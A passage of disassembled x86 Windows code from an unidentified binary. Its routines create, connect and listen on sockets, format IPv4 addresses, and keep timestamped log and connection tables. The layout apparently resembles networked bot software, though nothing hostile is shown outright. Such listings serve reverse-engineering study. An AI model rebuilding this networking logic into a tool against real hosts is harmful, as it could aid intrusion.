loc_4196C2: ; CODE XREF: sub_4193C0+2FCj
lea edx, [esp+2B4h+var_224]
lea eax, [esp+2B4h+var_25C]
push edx
push eax
push offset aSS_6 ; "%s: %s"
loc_4196D4: ; CODE XREF: sub_4193C0+2ECj
lea ecx, [esp+2C0h+var_28C]
push ecx
call sub_40102D
mov esi, [esp+2C4h+arg_0]
add esp, 10h
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+2B8h+var_28C]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
loc_419713: ; CODE XREF: sub_4193C0+2CCj
; sub_4193C0+2DFj ...
lea ecx, [esp+2B4h+var_28C]
mov byte ptr [esp+2B4h+var_4], 0
call sub_401226
mov esi, [esp+2B4h+var_29C]
mov ebx, [esp+2B4h+var_2A4]
loc_41972C: ; CODE XREF: sub_4193C0+1A2j
mov eax, [esp+2B4h+var_298]
mov ecx, [esi]
inc eax
add ebp, 14h
cmp eax, ecx
mov [esp+2B4h+var_298], eax
jl loc_419554
loc_419742: ; CODE XREF: sub_4193C0+18Bj
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_41974C: ; CODE XREF: sub_4193C0+152j
lea ecx, [esp+2B4h+var_274]
mov [esp+2B4h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebp
jmp short loc_419768
; ---------------------------------------------------------------------------
loc_419766: ; CODE XREF: sub_4193C0+3Dj
mov al, 1
loc_419768: ; CODE XREF: sub_4193C0+3A4j
mov ecx, [esp+2ACh+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 2A4h
retn 4
sub_4193C0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419890 proc near ; CODE XREF: sub_40147Ej
var_20 = byte ptr -20h
arg_0 = byte ptr 4
arg_3 = dword ptr 7
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
mov eax, [esp+arg_3]
sub esp, 20h
mov edx, [esp+25h]
and eax, 0FFh
push ebx
push ebp
push esi
mov esi, ecx
mov ecx, [esp+32h]
mov ebx, [esp+2Ch+arg_8]
mov ebp, [esp+2Ch+arg_3+1]
push eax
mov eax, [esp+34h]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ebx
push ebp
nop
call near ptr 77C3FA76h
mov ecx, [esi+32h]
add esp, 1Ch
mov al, [ecx+4]
test al, al
jnz short loc_419950
mov al, [esp+2Ch+arg_C]
test al, al
jnz short loc_41991E
mov eax, [esp+30h]
test eax, eax
jz short loc_41991E
push 2
lea edx, [esp+30h+arg_0]
push 4
push edx
nop
call near ptr 71ABE479h
test eax, eax
jz short loc_419950
mov eax, [eax]
push ebx
push eax
push ebp
nop
call near ptr 77C47A90h
add esp, 0Ch
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
; ---------------------------------------------------------------------------
loc_41991E: ; CODE XREF: sub_419890+5Aj
; sub_419890+62j
push edi
mov ecx, 7
xor eax, eax
lea edi, [esp+30h+var_20]
rep stosd
lea ecx, [esp+30h+var_20]
push 1Dh
push ecx
stosw
nop
call near ptr 71AB50C8h
test eax, eax
pop edi
jnz short loc_419950
lea edx, [esp+2Ch+var_20]
push ebx
push edx
push ebp
nop
call near ptr 77C47A90h
add esp, 0Ch
loc_419950: ; CODE XREF: sub_419890+52j
; sub_419890+75j ...
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
sub_419890 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4199A0 proc near ; CODE XREF: sub_401F0Aj
nop
call near ptr 27E0CD2h
push eax
nop
call near ptr 77C371BCh
pop ecx
retn
sub_4199A0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4199C0 proc near ; CODE XREF: sub_4021C6j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
call near ptr 77C371D3h
nop
mov esi, [esp+8+arg_0]
mov [esp+8+var_4], eax
mov eax, [esp+8+arg_4]
fild [esp+8+var_4]
sub eax, esi
mov [esp+8+arg_4], eax
fimul [esp+8+arg_4]
fmul dbl_43F0B0
call sub_437BDA
sub_4199C0 endp
; ---------------------------------------------------------------------------
sub esi, eax
mov eax, esi
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419A10: ; CODE XREF: ___:00401C99j
call near ptr 77C371D3h
nop
cdq
idiv dword ptr [esp+4]
mov eax, edx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
locret_419A30: ; CODE XREF: ___:00401528j
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419A50 proc near ; CODE XREF: sub_401FE1j
xor al, al
retn 4
sub_419A50 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419A70 proc near ; CODE XREF: sub_40152Dj
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
mov ecx, [esp+arg_4]
mov edx, [esp+arg_8]
cmp eax, 1
setnl al
mov byte ptr [esp+arg_C], al
push ecx
mov eax, [esp+4+arg_C]
push edx
push eax
push 0
mov ecx, offset byte_4D8085
call sub_401118
retn
sub_419A70 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419AB0: ; CODE XREF: ___:0040150Fj
sub esp, 0Ch
mov eax, [esp+20h]
push ebx
push ebp
push esi
xor esi, esi
push edi
cmp eax, esi
mov dword ptr [esp+18h], 80h
mov [esp+10h], esi
jz short loc_419AE3
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, esi
mov [esp+10h], eax
jz short loc_419AE3
mov [esp+18h], eax
loc_419AE3: ; CODE XREF: ___:00419ACBj
; ___:00419ADDj
mov edi, [esp+28h]
mov ebx, [esp+24h]
mov ebp, [esp+20h]
mov [esp+14h], esi
mov esi, offset dword_508E3C
loc_419AF8: ; CODE XREF: ___:00419B49j
mov ecx, [esp+14h]
mov eax, [esp+18h]
cmp ecx, eax
jge short loc_419B4B
cmp byte ptr [esi], 0
jz short loc_419B34
mov eax, [esp+30h]
test eax, eax
jz short loc_419B28
mov ecx, [esp+10h]
test ecx, ecx
jnz short loc_419B28
push eax
push esi
call near ptr 77C47C60h
nop
add esp, 8
test eax, eax
jz short loc_419B34
loc_419B28: ; CODE XREF: ___:00419B0Fj
; ___:00419B17j
push edi
push esi
push ebx
push ebp
call sub_40152D
add esp, 10h
loc_419B34: ; CODE XREF: ___:00419B07j
; ___:00419B26j
mov edx, [esp+14h]
add esi, 80h
inc edx
cmp esi, offset dword_50CE3C
mov [esp+14h], edx
jl short loc_419AF8
loc_419B4B: ; CODE XREF: ___:00419B02j
pop edi
pop esi
pop ebp
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419B90: ; CODE XREF: ___:00402289j
push ebx
mov ebx, dword_511B04
push esi
push edi
mov edi, [esp+10h]
mov esi, offset dword_508E3C
loc_419BA2: ; CODE XREF: ___:00419BBEj
cmp byte ptr [esi], 0
jz short loc_419BB2
push edi
push esi
call ebx
add esp, 8
test eax, eax
jnz short loc_419BC6
loc_419BB2: ; CODE XREF: ___:00419BA5j
add esi, 80h
cmp esi, offset dword_50CE3C
jl short loc_419BA2
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419BC6: ; CODE XREF: ___:00419BB0j
pop edi
pop esi
mov eax, 1
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419BE0 proc near ; CODE XREF: sub_4010D2j
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
lea eax, [esp+10h+var_10]
push esi
push edi
push eax
call near ptr 27C0000h
nop
mov edi, dword_511B08
mov esi, offset dword_50CE3C
loc_419BFB: ; CODE XREF: sub_419BE0+3Bj
cmp byte ptr [esi], 0
jz short loc_419C0F
push 7Fh
lea ecx, [esi+80h]
push esi
push ecx
call edi
add esp, 0Ch
loc_419C0F: ; CODE XREF: sub_419BE0+1Ej
sub esi, 80h
cmp esi, offset dword_508E3C
jge short loc_419BFB
mov edx, [esp+18h+arg_0]
mov eax, [esp+18h+var_4]
mov ecx, [esp+12h]
push edx
mov edx, [esp+1Ch+var_8]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
mov eax, [esp+20h+var_10]
and edx, 0FFFFh
push ecx
mov ecx, [esp+1Ah]
push edx
mov edx, [esp+28h+var_10+2]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
and edx, 0FFFFh
push ecx
push edx
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push 80h
push offset dword_508E3C
nop
call near ptr 77C3FA76h
add esp, 28h
pop edi
pop esi
add esp, 10h
retn
sub_419BE0 endp
; ---------------------------------------------------------------------------
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419CB0: ; CODE XREF: ___:004012DAj
sub esp, 600h
mov ecx, 80h
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [esp+10h]
mov esi, [esp+614h]
rep stosd
mov ecx, 80h
lea edi, [esp+210h]
mov ebp, dword_511B08
push 1FFh
rep stosd
mov ecx, 80h
lea edi, [esp+414h]
rep stosd
lea eax, [esp+14h]
push esi
push eax
call ebp
mov edx, [esp+628h]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
add esp, 0Ch
repne scasb
not ecx
dec ecx
cmp ecx, 180h
jbe short loc_419D21
mov [edx+180h], al
loc_419D21: ; CODE XREF: ___:00419D19j
mov ebx, [esp+618h]
lea ecx, [esp+10h]
push ebx
push ecx
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_419E32
loc_419D3F: ; CODE XREF: ___:00419E25j
lea edx, [esp+10h]
push ebx
push edx
nop
call near ptr 77C47C60h
mov esi, eax
mov edi, ebx
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push 1FFh
add ecx, esi
lea eax, [esp+41Ch]
push ecx
push eax
call ebp
lea ecx, [esp+24h]
push 1FFh
lea edx, [esp+228h]
push ecx
push edx
mov byte ptr [esi], 0
call ebp
lea edx, [esi+1]
add esp, 20h
test edx, edx
jz short loc_419E00
lea eax, [ebx-1]
test eax, eax
jz short loc_419E00
lea edi, [ebx-1]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, edx
mov esi, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp ecx, esi
jbe short loc_419DDD
mov edx, [esp+61Ch]
lea ecx, [esp+410h]
push ecx
lea eax, [esp+214h]
push edx
push eax
lea ecx, [esp+1Ch]
push offset aSSS ; "%s%s%s"
push ecx
nop
call near ptr word_5F67AE
add esp, 14h
jmp short loc_419E00
; ---------------------------------------------------------------------------
loc_419DDD: ; CODE XREF: ___:00419DAEj
mov edx, [esp+61Ch]
lea eax, [esp+210h]
push edx
push eax
lea ecx, [esp+18h]
push offset aSS_3 ; "%s%s"
push ecx
nop
call near ptr word_5F67AE
add esp, 10h
loc_419E00: ; CODE XREF: ___:00419D8Aj
; ___:00419D91j ...
mov edx, [esp+61Ch]
mov esi, dword_511B04
push edx
push ebx
call esi
add esp, 8
test eax, eax
jnz short loc_419E2B
lea eax, [esp+10h]
push ebx
push eax
call esi
add esp, 8
test eax, eax
jnz loc_419D3F
loc_419E2B: ; CODE XREF: ___:00419E16j
mov esi, [esp+614h]
loc_419E32: ; CODE XREF: ___:00419D39j
lea edi, [esp+10h]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
lea ecx, [esp+14h]
push ecx
push esi
call ebp
add esp, 0Ch
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 600h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419ED0: ; CODE XREF: ___:004018DEj
sub esp, 10h
push esi
push 0
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_419EEE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419EEE: ; CODE XREF: ___:00419EE5j
mov ecx, [esp+18h]
xor eax, eax
mov [esp+4], eax
push ecx
mov [esp+0Ch], eax
mov word ptr [esp+8], 2
mov [esp+10h], eax
mov [esp+14h], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+4]
push 10h
push edx
push esi
mov [esp+12h], ax
mov dword ptr [esp+14h], 0
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_419F39
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419F39: ; CODE XREF: ___:00419F2Fj
push 7FFFFFFFh
push esi
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_419F51
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419F51: ; CODE XREF: ___:00419F47j
mov eax, esi
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419F90: ; CODE XREF: ___:00401E83j
push edi
xor edi, edi
mov eax, offset byte_4E02B5
loc_419F98: ; CODE XREF: ___:00419FA8j
cmp dword ptr [eax], 0
jz short loc_419FAA
add eax, 316h
inc edi
cmp eax, offset byte_4E7E25
jle short loc_419F98
loc_419FAA: ; CODE XREF: ___:00419F9Bj
cmp edi, 13h
jle short loc_419FB4
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_419FB4: ; CODE XREF: ___:00419FADj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, dword_511C00
push esi
lea eax, [eax+eax*4]
lea esi, ds:4E01BBh[eax*2]
mov eax, [esp+10h]
push eax
push esi
call ebx
mov ecx, [esp+24h]
mov edx, [esp+1Ch]
mov eax, [esp+20h]
mov [esi+0FAh], ecx
mov ecx, [esp+28h]
mov [esi+0FEh], edi
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx
add esp, 10h
mov eax, edi
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A050 proc near ; CODE XREF: sub_4013F2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push edi
xor edi, edi
mov eax, offset dword_4D8745
loc_41A058: ; CODE XREF: sub_41A050+18j
cmp dword ptr [eax], 0
jz short loc_41A06A
add eax, 316h
inc edi
cmp eax, offset byte_4E02B5
jle short loc_41A058
loc_41A06A: ; CODE XREF: sub_41A050+Bj
cmp edi, 13h
jle short loc_41A074
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_41A074: ; CODE XREF: sub_41A050+1Dj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, dword_511C00
push esi
lea eax, [eax+eax*4]
lea esi, ds:4D864Bh[eax*2]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
call ebx
mov ecx, [esp+14h+arg_C]
mov edx, [esp+14h+arg_4]
mov eax, [esp+14h+arg_8]
mov [esi+0FAh], ecx
mov ecx, [esp+14h+arg_10]
mov [esi+0FEh], edi
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx
add esp, 10h
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_41A050 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A110 proc near ; CODE XREF: sub_401C49j
var_190 = byte ptr -190h
arg_0 = byte ptr 4
sub esp, 190h
push ebp
mov ebp, ecx
push esi
push edi
mov dword ptr [ebp+0], offset off_43F0BC
mov eax, dword_50DB08
test eax, eax
jnz short loc_41A148
mov eax, dword_50DB08
inc eax
mov dword_50DB08, eax
lea ecx, [esp+19Ch+var_190]
push ecx
push 202h
nop
call near ptr 71AB664Dh
jmp short loc_41A155
; ---------------------------------------------------------------------------
loc_41A148: ; CODE XREF: sub_41A110+19j
mov edx, dword_50DB08
inc edx
mov dword_50DB08, edx
loc_41A155: ; CODE XREF: sub_41A110+36j
mov al, [esp+19Ch+arg_0]
or ecx, 0FFFFFFFFh
mov [ebp+80Ah], al
mov edi, offset byte_448F40
xor eax, eax
mov [ebp+806h], ecx
mov byte ptr [ebp+80Ch], 0
mov word ptr [ebp+4], 0
repne scasb
not ecx
sub edi, ecx
lea edx, [ebp+6]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebp
and ecx, 3
rep movsb
pop edi
mov byte ptr [ebp+80Bh], 0
pop esi
pop ebp
add esp, 190h
retn 4
sub_41A110 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A1E0 proc near ; CODE XREF: ___:004018E3j sub_401B09j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401FE6
test [esp+4+arg_0], 1
jz short loc_41A1F8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_41A1F8: ; CODE XREF: sub_41A1E0+Dj
mov eax, esi
pop esi
retn 4
sub_41A1E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A210 proc near ; CODE XREF: sub_401FE6j
mov al, [ecx+80Ah]
mov dword ptr [ecx], offset off_43F0BC
test al, al
jnz short loc_41A225
call sub_4014E7
loc_41A225: ; CODE XREF: sub_41A210+Ej
mov eax, 1
mov ecx, dword_50DB08
cmp ecx, eax
jle short loc_41A240
mov eax, dword_50DB08
dec eax
mov dword_50DB08, eax
locret_41A23F: ; CODE XREF: sub_41A210:loc_41A240j
retn
; ---------------------------------------------------------------------------
loc_41A240: ; CODE XREF: sub_41A210+22j
jnz short locret_41A23F
mov ecx, dword_50DB08
dec ecx
mov dword_50DB08, ecx
nop
jmp near ptr 71AB4428h
sub_41A210 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41A280: ; CODE XREF: ___:004015AAj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43BFCB
push eax
mov large fs:0, esp
sub esp, 814h
push esi
mov esi, ecx
call sub_40196A
test al, al
jz loc_41A331
mov al, [esi+80Bh]
test al, al
jz short loc_41A2B9
mov al, 1
jmp short loc_41A331
; ---------------------------------------------------------------------------
loc_41A2B9: ; CODE XREF: ___:0041A2B3j
push ebx
push edi
mov edi, [esp+830h]
push 800h
lea eax, [esi+6]
push edi
push eax
nop
call near ptr 77C47A90h
mov ebx, [esp+840h]
add esp, 0Ch
lea ecx, [esp+0Ch]
mov [esi+4], bx
call sub_401186
mov ecx, [esp+83Ch]
mov edx, [esp+838h]
push ecx
push edx
push ebx
push edi
lea ecx, [esp+1Ch]
mov dword ptr [esp+838h], 0
call sub_401640
push eax
mov ecx, esi
call sub_4020E5
lea ecx, [esp+0Ch]
mov bl, al
mov dword ptr [esp+828h], 0FFFFFFFFh
call sub_40187A
mov al, bl
pop edi
pop ebx
loc_41A331: ; CODE XREF: ___:0041A2A5j
; ___:0041A2B7j
mov ecx, [esp+818h]
pop esi
mov large fs:0, ecx
add esp, 820h
retn 10h
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A390 proc near ; CODE XREF: sub_40196Aj
mov al, byte_444DBC
retn
sub_41A390 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A3B0 proc near ; CODE XREF: sub_4020E5j
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
sub esp, 11Ch
push ebp
push esi
push edi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41A3D0
pop edi
pop esi
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A3D0: ; CODE XREF: sub_41A3B0+12j
mov al, [esi+80Bh]
test al, al
jnz loc_41A571
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A40A
mov ecx, esi
call sub_4014E7
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A40A: ; CODE XREF: sub_41A3B0+43j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A419
push 1
jmp short loc_41A41B
; ---------------------------------------------------------------------------
loc_41A419: ; CODE XREF: sub_41A3B0+63j
push 0
loc_41A41B: ; CODE XREF: sub_41A3B0+67j
mov ecx, esi
call sub_4018CA
mov edi, [esp+128h+arg_4]
xor eax, eax
mov [esp+128h+var_114], eax
push edi
mov [esp+12Ch+var_110], eax
mov [esi+4], di
mov [esp+12Ch+var_10C], eax
mov word ptr [esp+12Ch+var_114], 2
mov [esp+12Ch+var_108], eax
nop
call near ptr 71AB2B66h
mov ecx, [esp+128h+arg_0]
mov word ptr [esp+128h+var_114+2], ax
mov eax, [esi+806h]
lea edx, [esp+128h+var_114]
push 10h
push edx
push eax
mov [esp+134h+var_110], ecx
mov [esi+4], di
nop
call near ptr 71AB406Ah
mov ebp, dword_511C50
test eax, eax
jge short loc_41A4BC
call ebp
cmp eax, 2733h
jz short loc_41A4AD
call ebp
cmp eax, 0Bh
jz short loc_41A4AD
call ebp
cmp eax, 2733h
jz short loc_41A4AD
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A4AD: ; CODE XREF: sub_41A3B0+D6j
; sub_41A3B0+DDj ...
mov al, byte ptr [esp+128h+arg_8]
test al, al
jnz loc_41A56A
loc_41A4BC: ; CODE XREF: sub_41A3B0+CDj
mov eax, [esi+806h]
xor ecx, ecx
lea edx, [esp+128h+var_11C]
mov edi, dword_511C94
mov [esp+128h+var_11C], ecx
push edx
mov [esp+12Ch+var_118], ecx
push ecx
lea ecx, [esp+130h+var_104]
mov [esp+130h+var_100], eax
push ecx
inc eax
push 0
push eax
mov [esp+13Ch+var_11C], 0Ah
mov [esp+13Ch+var_104], 1
call edi
test eax, eax
jge short loc_41A530
loc_41A4FB: ; CODE XREF: sub_41A3B0+17Ej
call ebp
call ebp
cmp eax, 4
jnz short loc_41A545
mov eax, [esp+128h+var_11C]
test eax, eax
jnz short loc_41A514
mov eax, [esp+128h+var_118]
test eax, eax
jz short loc_41A545
loc_41A514: ; CODE XREF: sub_41A3B0+15Aj
mov ecx, [esi+806h]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
inc ecx
push 0
push ecx
call edi
test eax, eax
jl short loc_41A4FB
loc_41A530: ; CODE XREF: sub_41A3B0+149j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A561
mov edx, [esp+128h+arg_8]
push edx
jmp short loc_41A563
; ---------------------------------------------------------------------------
loc_41A545: ; CODE XREF: sub_41A3B0+152j
; sub_41A3B0+162j
mov ecx, esi
call sub_4014E7
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A561: ; CODE XREF: sub_41A3B0+189j
push 0
loc_41A563: ; CODE XREF: sub_41A3B0+193j
mov ecx, esi
call sub_4018CA
loc_41A56A: ; CODE XREF: sub_41A3B0+106j
mov byte ptr [esi+80Bh], 1
loc_41A571: ; CODE XREF: sub_41A3B0+28j
pop edi
pop esi
mov al, 1
pop ebp
add esp, 11Ch
retn 10h
sub_41A3B0 endp
; ---------------------------------------------------------------------------
db 90h
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A600 proc near ; CODE XREF: sub_4014E7j
push esi
mov esi, ecx
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41A61A
cmp eax, 0FFFFFFFFh
jz short loc_41A61A
push eax
call near ptr 71AB9639h
nop
loc_41A61A: ; CODE XREF: sub_41A600+Cj
; sub_41A600+11j
mov ecx, esi
call sub_401375
mov byte ptr [esi+80Bh], 0
pop esi
retn
sub_41A600 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A640 proc near ; CODE XREF: sub_401375j
push ebp
mov edx, ecx
push esi
push edi
or ecx, 0FFFFFFFFh
mov edi, offset byte_448F40
xor eax, eax
mov [edx+806h], ecx
mov word ptr [edx+4], 0
lea ebp, [edx+6]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
mov byte ptr [edx+80Bh], 0
mov byte ptr [edx+80Ch], 0
pop ebp
retn
sub_41A640 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A6B0 proc near ; CODE XREF: sub_401492j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41A6C6
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A6C6: ; CODE XREF: sub_41A6B0+Dj
mov al, [esi+80Bh]
test al, al
jnz loc_41A77F
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A6FB
mov ecx, esi
call sub_4014E7
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A6FB: ; CODE XREF: sub_41A6B0+39j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
mov word ptr [esp+14h+var_10+2], ax
mov eax, [esi+806h]
lea edx, [esp+14h+var_10]
push 10h
push edx
push eax
mov [esp+20h+var_C], 0
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_41A754
mov ecx, esi
call sub_4014E7
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A754: ; CODE XREF: sub_41A6B0+92j
mov ecx, [esi+806h]
push 32h
push ecx
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_41A778
mov ecx, esi
call sub_4014E7
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A778: ; CODE XREF: sub_41A6B0+B6j
mov byte ptr [esi+80Bh], 1
loc_41A77F: ; CODE XREF: sub_41A6B0+1Ej
mov al, 1
pop esi
add esp, 10h
retn 4
sub_41A6B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A7D0 proc near ; CODE XREF: sub_401B95j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 120h
push esi
push edi
mov esi, ecx
call sub_40196A
test al, al
jnz short loc_41A7EE
pop edi
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A7EE: ; CODE XREF: sub_41A7D0+11j
mov al, [esi+80Bh]
test al, al
jnz short loc_41A805
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A805: ; CODE XREF: sub_41A7D0+26j
mov al, [esi+80Ch]
test al, al
jnz short loc_41A881
call sub_40196A
test al, al
jz short loc_41A874
mov edi, dword_511C94
loc_41A81E: ; CODE XREF: sub_41A7D0+A2j
mov eax, [esi+806h]
lea ecx, [esp+128h+var_11C]
push ecx
mov [esp+12Ch+var_100], eax
push 0
lea edx, [esp+130h+var_104]
push 0
inc eax
push edx
push eax
mov [esp+13Ch+var_104], 1
mov [esp+13Ch+var_11C], 0
